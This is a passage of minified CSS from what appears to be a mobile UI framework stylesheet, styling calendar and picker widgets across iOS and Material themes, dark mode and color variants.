rgba(0,0,0,.22);box-shadow:0 19px 38px rgba(0,0,0,.3),0 15px 12px rgba(0,0,0,.22)}.calendar-modal.modal-in,.calendar-modal.modal-out{-webkit-transition-duration:.4s;transition-duration:.4s}.calendar-modal.modal-in{-webkit-transform:translate3d(-50%,-50%,0);transform:translate3d(-50%,-50%,0)}.calendar-modal.modal-out{-webkit-transform:translate3d(-50%,100%,0);transform:translate3d(-50%,100%,0)}.calendar-popover{width:320px}.calendar-popover .calendar{height:320px}.calendar-week-header{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;font-size:11px}.calendar-week-header .calendar-week-day{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;width:14.28571429%;width:calc(100% / 7);text-align:center}.calendar-months{width:100%;height:100%;overflow:hidden;position:relative;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10}.calendar-months-wrapper{position:relative;width:100%;height:100%;-webkit-transition:.3s;transition:.3s}.calendar-month{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;width:100%;height:100%;position:absolute;left:0;top:0}.calendar-row{height:16.66666667%;height:calc(100% / 6);display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;width:100%;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box}.calendar-day{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box;width:14.28571429%;width:calc(100% / 7);text-align:center;cursor:pointer;z-index:20;color:#000;height:100%}.calendar-day.calendar-day-next,.calendar-day.calendar-day-prev{color:#b8b8b8}.calendar-day.calendar-day-disabled{color:#d4d4d4;cursor:auto}.calendar-day.calendar-day-selected span{color:#fff}.calendar-day.calendar-day-has-events span:after{content:'';width:4px;height:4px;border-radius:50%;position:absolute;margin-left:-2px;left:50%;bottom:1px}.calendar-day span{display:inline-block;border-radius:100%;position:relative}.calendar-range .calendar-day.calendar-day-selected{-webkit-box-align:stretch;-webkit-align-items:stretch;-ms-flex-align:stretch;align-items:stretch;-webkit-align-content:stretch;-ms-flex-line-pack:stretch;align-content:stretch}.calendar-range .calendar-day.calendar-day-selected span{width:100%;border-radius:0;height:auto;text-align:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.calendar-month-selector,.calendar-year-selector{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;width:50%;max-width:200px;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10}.calendar-month-selector span,.calendar-year-selector span{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;position:relative;overflow:hidden;text-overflow:ellipsis}.ios .calendar-header{height:44px;background:#f7f7f8;font-size:17px;line-height:44px;font-weight:600;padding:0 8px;position:relative;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;-webkit-box-sizing:border-box;box-sizing:border-box}.ios .calendar-footer{position:relative;padding:0 8px;width:100%;height:44px;background:#f7f7f8;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:end;-webkit-justify-content:flex-end;-ms-flex-pack:end;justify-content:flex-end;-webkit-box-sizing:border-box;box-sizing:border-box;font-size:17px}.ios .calendar-footer:before{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .calendar-footer:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .calendar-footer:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .calendar-week-header{background:#f7f7f8;height:18px}.ios .calendar-week-header .calendar-week-day{line-height:18px}.ios .calendar-row:before{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .calendar-row:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .calendar-row:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .calendar-day{font-size:15px}.ios .calendar-day.calendar-day-today span{background:#e3e3e3}.ios .calendar-day.calendar-day-has-events span:after{background:#007aff}.ios .calendar-day.calendar-day-has-events.calendar-day-selected span:after{background-color:#fff}.ios .calendar-day.calendar-day-selected span{background:#007aff}.ios .calendar-day span{width:30px;height:30px;line-height:30px}.ios .calendar-month-selector a.icon-only,.ios .calendar-year-selector a.icon-only{min-width:36px}.ios .calendar-sheet:before{content:'';position:absolute;background-color:#929499;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .calendar-sheet:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .calendar-sheet:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .calendar-sheet{background:#fff}.ios .calendar-sheet:before{z-index:600}.ios .calendar-sheet .toolbar:before{display:none!important}.ios .calendar-modal .toolbar:before,.ios .calendar-popover .toolbar:before{display:none!important}.ios .calendar-modal .calendar-months:first-child .calendar-row:first-child:before,.ios .calendar-popover .calendar-months:first-child .calendar-row:first-child:before{display:none!important}.ios .calendar-popover .toolbar{background:0 0}.ios .calendar-popover .calendar-footer,.ios .calendar-popover .calendar-header,.ios .calendar-popover .calendar-week-header{background:0 0}.ios.device-iphone-x .calendar-sheet .sheet-modal-inner{margin-bottom:constant(safe-area-inset-bottom);margin-bottom:env(safe-area-inset-bottom)}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.ios.device-iphone-x .ios-edges.calendar .calendar-row,.ios.device-iphone-x .ios-edges.calendar .calendar-week-header,.ios.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.ios.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.ios.device-iphone-x .ios-left-edge.calendar .calendar-row,.ios.device-iphone-x .ios-left-edge.calendar .calendar-week-header,.ios.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.ios.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.ios.device-iphone-x .panel-left.calendar .calendar-row,.ios.device-iphone-x .panel-left.calendar .calendar-week-header,.ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.ios.device-iphone-x .popup.calendar .calendar-row,.ios.device-iphone-x .popup.calendar .calendar-week-header,.ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.ios.device-iphone-x .sheet-modal.calendar .calendar-row,.ios.device-iphone-x .sheet-modal.calendar .calendar-week-header{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.ios.device-iphone-x .ios-edges.calendar .calendar-row,.ios.device-iphone-x .ios-edges.calendar .calendar-week-header,.ios.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.ios.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.ios.device-iphone-x .ios-right-edge.calendar .calendar-row,.ios.device-iphone-x .ios-right-edge.calendar .calendar-week-header,.ios.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.ios.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.ios.device-iphone-x .panel-right.calendar .calendar-row,.ios.device-iphone-x .panel-right.calendar .calendar-week-header,.ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.ios.device-iphone-x .popup.calendar .calendar-row,.ios.device-iphone-x .popup.calendar .calendar-week-header,.ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.ios.device-iphone-x .sheet-modal.calendar .calendar-row,.ios.device-iphone-x .sheet-modal.calendar .calendar-week-header{padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right)}}.calendar.ios .theme-dark .calendar-footer,.calendar.ios .theme-dark .calendar-header,.calendar.ios .theme-dark .calendar-week-header,.ios .theme-dark .calendar .calendar-footer,.ios .theme-dark .calendar .calendar-header,.ios .theme-dark .calendar .calendar-week-header{background-color:#1b1b1b}.ios .theme-dark .calendar-popover .calendar-week-header{background-color:transparent}.ios .theme-dark .calendar-footer:before,.ios .theme-dark .calendar-row:before,.ios .theme-dark .calendar-sheet:before{background-color:#282829}.ios .theme-dark .calendar-day{color:#fff}.ios .theme-dark .calendar-day.calendar-day-today:not(.calendar-day-selected) span{background:#333}.ios .theme-dark .calendar-day.calendar-day-disabled{color:#8e8e93}.ios .theme-dark .calendar-day.calendar-day-next,.ios .theme-dark .calendar-day.calendar-day-prev{color:#555}.calendar-modal.ios .theme-dark,.ios .theme-dark .calendar-modal,.ios .theme-dark .calendar-sheet{background:#171717}.ios .color-red .calendar-day.calendar-day-selected span,.ios .color-theme-red .calendar-day.calendar-day-selected span{background:#ff3b30}.ios .color-green .calendar-day.calendar-day-selected span,.ios .color-theme-green .calendar-day.calendar-day-selected span{background:#4cd964}.ios .color-blue .calendar-day.calendar-day-selected span,.ios .color-theme-blue .calendar-day.calendar-day-selected span{background:#007aff}.ios .color-pink .calendar-day.calendar-day-selected span,.ios .color-theme-pink .calendar-day.calendar-day-selected span{background:#ff2d55}.ios .color-theme-yellow .calendar-day.calendar-day-selected span,.ios .color-yellow .calendar-day.calendar-day-selected span{background:#fc0}.ios .color-orange .calendar-day.calendar-day-selected span,.ios .color-theme-orange .calendar-day.calendar-day-selected span{background:#ff9500}.ios .color-gray .calendar-day.calendar-day-selected span,.ios .color-theme-gray .calendar-day.calendar-day-selected span{background:#8e8e93}.ios .color-theme-white .calendar-day.calendar-day-selected span,.ios .color-white .calendar-day.calendar-day-selected span{background:#fff}.ios .color-black .calendar-day.calendar-day-selected span,.ios .color-theme-black .calendar-day.calendar-day-selected span{background:#000}.md .calendar-header{height:56px;background:#2196f3;font-size:20px;line-height:56px;padding:0 24px;color:#fff;position:relative;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;-webkit-box-sizing:border-box;box-sizing:border-box}.md .calendar-footer{position:relative;width:100%;height:48px;padding:6px 8px;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:end;-webkit-justify-content:flex-end;-ms-flex-pack:end;justify-content:flex-end}.md .calendar .toolbar{background:0 0!important;color:#212121}.md .calendar .toolbar a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(0,0,0,.15) 66%,rgba(0,0,0,0) 66%);background-image:radial-gradient(circle at center,rgba(0,0,0,.15) 66%,rgba(0,0,0,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .calendar .toolbar a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .calendar .toolbar a.link .ripple-wave{background:rgba(0,0,0,.1)}.md .calendar .toolbar .icon-back,.md .calendar .toolbar .icon-forward,.md .calendar .toolbar .icon-next,.md .calendar .toolbar .icon-prev{opacity:.54}.md .calendar-week-header{color:rgba(0,0,0,.54);height:24px}.md .calendar-week-header .calendar-week-day{line-height:24px}.md .calendar-day.calendar-day-today span{color:#2196f3}.md .calendar-day.calendar-day-has-events span:after{background:#2196f3}.md .calendar-day.calendar-day-has-events.calendar-day-selected span:after{background-color:#fff}.md .calendar-day.calendar-day-selected span{background:#2196f3;color:#fff}.md .calendar-day span{width:36px;height:36px;line-height:36px}.md .calendar-range .calendar-day.calendar-day-selected span{color:#fff}.md .calendar-month-selector a.icon-only,.md .calendar-year-selector a.icon-only{min-width:36px}.md .calendar-sheet:before{content:'';position:absolute;background-color:#ccc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .calendar-sheet:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .calendar-sheet:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md.device-iphone-x .calendar-sheet .sheet-modal-inner{margin-bottom:constant(safe-area-inset-bottom);margin-bottom:env(safe-area-inset-bottom)}@media (orientation:landscape){.md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.md.device-iphone-x .ios-edges.calendar .calendar-row,.md.device-iphone-x .ios-edges.calendar .calendar-week-header,.md.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.md.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.md.device-iphone-x .ios-left-edge.calendar .calendar-row,.md.device-iphone-x .ios-left-edge.calendar .calendar-week-header,.md.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.md.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.md.device-iphone-x .panel-left.calendar .calendar-row,.md.device-iphone-x .panel-left.calendar .calendar-week-header,.md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.md.device-iphone-x .popup.calendar .calendar-row,.md.device-iphone-x .popup.calendar .calendar-week-header,.md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.md.device-iphone-x .sheet-modal.calendar .calendar-row,.md.device-iphone-x .sheet-modal.calendar .calendar-week-header{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.md.device-iphone-x .ios-edges.calendar .calendar-row,.md.device-iphone-x .ios-edges.calendar .calendar-week-header,.md.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.md.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.md.device-iphone-x .ios-right-edge.calendar .calendar-row,.md.device-iphone-x .ios-right-edge.calendar .calendar-week-header,.md.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.md.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.md.device-iphone-x .panel-right.calendar .calendar-row,.md.device-iphone-x .panel-right.calendar .calendar-week-header,.md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.md.device-iphone-x .popup.calendar .calendar-row,.md.device-iphone-x .popup.calendar .calendar-week-header,.md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.md.device-iphone-x .sheet-modal.calendar .calendar-row,.md.device-iphone-x .sheet-modal.calendar .calendar-week-header{padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right)}}.md .theme-dark .calendar-popover .calendar-week-header{background-color:transparent}.md .theme-dark .calendar-week-header{color:rgba(255,255,255,.54)}.md .theme-dark .calendar-day{color:rgba(255,255,255,.87)}.md .theme-dark .calendar-day.calendar-day-disabled{color:rgba(255,255,255,.54)}.md .theme-dark .calendar-day.calendar-day-next,.md .theme-dark .calendar-day.calendar-day-prev{color:rgba(255,255,255,.35)}.calendar-modal.md .theme-dark,.md .theme-dark .calendar-modal{background:#202020}.calendar.md .theme-dark.calendar-sheet:before,.md .theme-dark .calendar.calendar-sheet:before{background-color:rgba(255,255,255,.2)}.calendar.md .theme-dark .toolbar,.md .theme-dark .calendar .toolbar{color:rgba(255,255,255,.54)}.calendar.md .theme-dark .toolbar a.link:before,.md .theme-dark .calendar .toolbar a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-image:radial-gradient(circle at center,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.calendar.md .theme-dark .toolbar a.link.active-state:before,.md .theme-dark .calendar .toolbar a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.calendar.md .theme-dark .toolbar a.link .ripple-wave,.md .theme-dark .calendar .toolbar a.link .ripple-wave{background-color:rgba(255,255,255,.3)}.md .color-red .calendar-header,.md .color-theme-red .calendar-header{background:#f44336}.md .color-red .calendar-day.calendar-day-today span,.md .color-theme-red .calendar-day.calendar-day-today span{color:#f44336}.md .color-red .calendar-day.calendar-day-has-events span:after,.md .color-theme-red .calendar-day.calendar-day-has-events span:after{background:#f44336}.md .color-red .calendar-day.calendar-day-selected span,.md .color-theme-red .calendar-day.calendar-day-selected span{background:#f44336;color:#fff}.md .color-red .calendar-day.calendar-day-selected span:after,.md .color-theme-red .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-green .calendar-header,.md .color-theme-green .calendar-header{background:#4caf50}.md .color-green .calendar-day.calendar-day-today span,.md .color-theme-green .calendar-day.calendar-day-today span{color:#4caf50}.md .color-green .calendar-day.calendar-day-has-events span:after,.md .color-theme-green .calendar-day.calendar-day-has-events span:after{background:#4caf50}.md .color-green .calendar-day.calendar-day-selected span,.md .color-theme-green .calendar-day.calendar-day-selected span{background:#4caf50;color:#fff}.md .color-green .calendar-day.calendar-day-selected span:after,.md .color-theme-green .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-blue .calendar-header,.md .color-theme-blue .calendar-header{background:#2196f3}.md .color-blue .calendar-day.calendar-day-today span,.md .color-theme-blue .calendar-day.calendar-day-today span{color:#2196f3}.md .color-blue .calendar-day.calendar-day-has-events span:after,.md .color-theme-blue .calendar-day.calendar-day-has-events span:after{background:#2196f3}.md .color-blue .calendar-day.calendar-day-selected span,.md .color-theme-blue .calendar-day.calendar-day-selected span{background:#2196f3;color:#fff}.md .color-blue .calendar-day.calendar-day-selected span:after,.md .color-theme-blue .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-pink .calendar-header,.md .color-theme-pink .calendar-header{background:#e91e63}.md .color-pink .calendar-day.calendar-day-today span,.md .color-theme-pink .calendar-day.calendar-day-today span{color:#e91e63}.md .color-pink .calendar-day.calendar-day-has-events span:after,.md .color-theme-pink .calendar-day.calendar-day-has-events span:after{background:#e91e63}.md .color-pink .calendar-day.calendar-day-selected span,.md .color-theme-pink .calendar-day.calendar-day-selected span{background:#e91e63;color:#fff}.md .color-pink .calendar-day.calendar-day-selected span:after,.md .color-theme-pink .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-theme-yellow .calendar-header,.md .color-yellow .calendar-header{background:#ffeb3b}.md .color-theme-yellow .calendar-day.calendar-day-today span,.md .color-yellow .calendar-day.calendar-day-today span{color:#ffeb3b}.md .color-theme-yellow .calendar-day.calendar-day-has-events span:after,.md .color-yellow .calendar-day.calendar-day-has-events span:after{background:#ffeb3b}.md .color-theme-yellow .calendar-day.calendar-day-selected span,.md .color-yellow .calendar-day.calendar-day-selected span{background:#ffeb3b;color:#fff}.md .color-theme-yellow .calendar-day.calendar-day-selected span:after,.md .color-yellow .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-orange .calendar-header,.md .color-theme-orange .calendar-header{background:#ff9800}.md .color-orange .calendar-day.calendar-day-today span,.md .color-theme-orange .calendar-day.calendar-day-today span{color:#ff9800}.md .color-orange .calendar-day.calendar-day-has-events span:after,.md .color-theme-orange .calendar-day.calendar-day-has-events span:after{background:#ff9800}.md .color-orange .calendar-day.calendar-day-selected span,.md .color-theme-orange .calendar-day.calendar-day-selected span{background:#ff9800;color:#fff}.md .color-orange .calendar-day.calendar-day-selected span:after,.md .color-theme-orange .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-gray .calendar-header,.md .color-theme-gray .calendar-header{background:#9e9e9e}.md .color-gray .calendar-day.calendar-day-today span,.md .color-theme-gray .calendar-day.calendar-day-today span{color:#9e9e9e}.md .color-gray .calendar-day.calendar-day-has-events span:after,.md .color-theme-gray .calendar-day.calendar-day-has-events span:after{background:#9e9e9e}.md .color-gray .calendar-day.calendar-day-selected span,.md .color-theme-gray .calendar-day.calendar-day-selected span{background:#9e9e9e;color:#fff}.md .color-gray .calendar-day.calendar-day-selected span:after,.md .color-theme-gray .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-theme-white .calendar-header,.md .color-white .calendar-header{background:#fff}.md .color-theme-white .calendar-day.calendar-day-today span,.md .color-white .calendar-day.calendar-day-today span{color:#fff}.md .color-theme-white .calendar-day.calendar-day-has-events span:after,.md .color-white .calendar-day.calendar-day-has-events span:after{background:#fff}.md .color-theme-white .calendar-day.calendar-day-selected span,.md .color-white .calendar-day.calendar-day-selected span{background:#fff;color:#fff}.md .color-theme-white .calendar-day.calendar-day-selected span:after,.md .color-white .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-black .calendar-header,.md .color-theme-black .calendar-header{background:#000}.md .color-black .calendar-day.calendar-day-today span,.md .color-theme-black .calendar-day.calendar-day-today span{color:#000}.md .color-black .calendar-day.calendar-day-has-events span:after,.md .color-theme-black .calendar-day.calendar-day-has-events span:after{background:#000}.md .color-black .calendar-day.calendar-day-selected span,.md .color-theme-black .calendar-day.calendar-day-selected span{background:#000;color:#fff}.md .color-black .calendar-day.calendar-day-selected span:after,.md .color-theme-black .calendar-day.calendar-day-selected span:after{background-color:#fff}.picker{width:100%;height:260px}.picker.picker-inline,.popover .picker{height:200px}@media (orientation:landscape) and (max-height:415px){.picker:not(.picker-inline){height:200px}}.picker-popover{width:280px}.picker-columns{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;overflow:hidden;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:0;text-align:right;height:100%;position:relative;-webkit-mask-box-image:linear-gradient(to top,transparent,transparent 5%,#fff 20%,#fff 80%,transparent 95%,transparent)}.picker-column{position:relative;max-height:100%}.picker-column.picker-column-first:before,.picker-column.picker-column-last:after{height:100%;width:100vw;position:absolute;content:'';top:0}.picker-column.picker-column-first:before{left:100%}.picker-column.picker-column-last:after{right:100%}.picker-column.picker-column-left{text-align:left}.picker-column.picker-column-center{text-align:center}.picker-column.picker-column-right{text-align:right}.picker-column.picker-column-divider{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.picker-items{-webkit-transition:.3s;transition:.3s;-webkit-transition-timing-function:ease-out;transition-timing-function:ease-out}.picker-item{height:36px;line-height:36px;white-space:nowrap;position:relative;overflow:hidden;text-overflow:ellipsis;left:0;top:0;width:100%;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition:.3s;transition:.3s}.picker-item span{padding:0 10px}.picker-column-absolute .picker-item{position:absolute}.picker-item.picker-item-far{pointer-events:none}.picker-item.picker-item-selected{-webkit-transform:translate3d(0,0,0) rotateX(0);transform:translate3d(0,0,0) rotateX(0)}.picker-center-highlight{height:36px;-webkit-box-sizing:border-box;box-sizing:border-box;position:absolute;left:0;width:100%;top:50%;margin-top:-18px;pointer-events:none}.picker-3d .picker-columns{overflow:hidden;-webkit-perspective:1200px;perspective:1200px}.picker-3d .picker-column,.picker-3d .picker-item,.picker-3d .picker-items{-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.picker-3d .picker-column{overflow:visible}.picker-3d .picker-item{-webkit-transform-origin:center center -110px;transform-origin:center center -110px;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-transition-timing-function:ease-out;transition-timing-function:ease-out}.ios .picker-columns{font-size:24px}.ios .picker-column-divider{color:#000}.ios .picker-item{color:#707274}.ios .picker-item.picker-item-selected{color:#000}.ios .picker-popover .toolbar{background:0 0}.ios .picker-popover .toolbar:before{display:none!important}.ios .picker-popover .picker>.toolbar+.picker-columns{height:calc(100% - 44px)}.ios .picker-popover .toolbar:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .picker-popover .toolbar:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .picker-popover .toolbar:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .picker-center-highlight:before{content:'';position:absolute;background-color:#a8abb0;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .picker-center-highlight:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .picker-center-highlight:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .picker-center-highlight:after{content:'';position:absolute;background-color:#a8abb0;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .picker-center-highlight:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .picker-center-highlight:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .theme-dark .picker-item.picker-item-selected{color:#fff}.ios .theme-dark .picker-popover .toolbar:after,.picker-popover.ios .theme-dark .toolbar:after{background-color:#282829}.ios .theme-dark .picker-center-highlight:before{background-color:#282829}.ios .theme-dark .picker-center-highlight:after{background-color:#282829}.md .picker-popover .toolbar{border-radius:2px 2px 0 0}.md .picker-columns{font-size:20px}.md .picker-column-divider{color:rgba(0,0,0,.87)}.md .picker-popover .picker>.toolbar+.picker-columns{height:calc(100% - 48px)}.md .picker-center-highlight:before{content:'';position:absolute;background-color:rgba(0,0,0,.15);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .picker-center-highlight:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .picker-center-highlight:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .picker-center-highlight:after{content:'';position:absolute;background-color:rgba(0,0,0,.15);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .picker-center-highlight:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .picker-center-highlight:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .theme-dark .picker-column-divider{color:rgba(255,255,255,.87)}.md .theme-dark .picker-center-highlight:before{background-color:rgba(255,255,255,.15)}.md .theme-dark 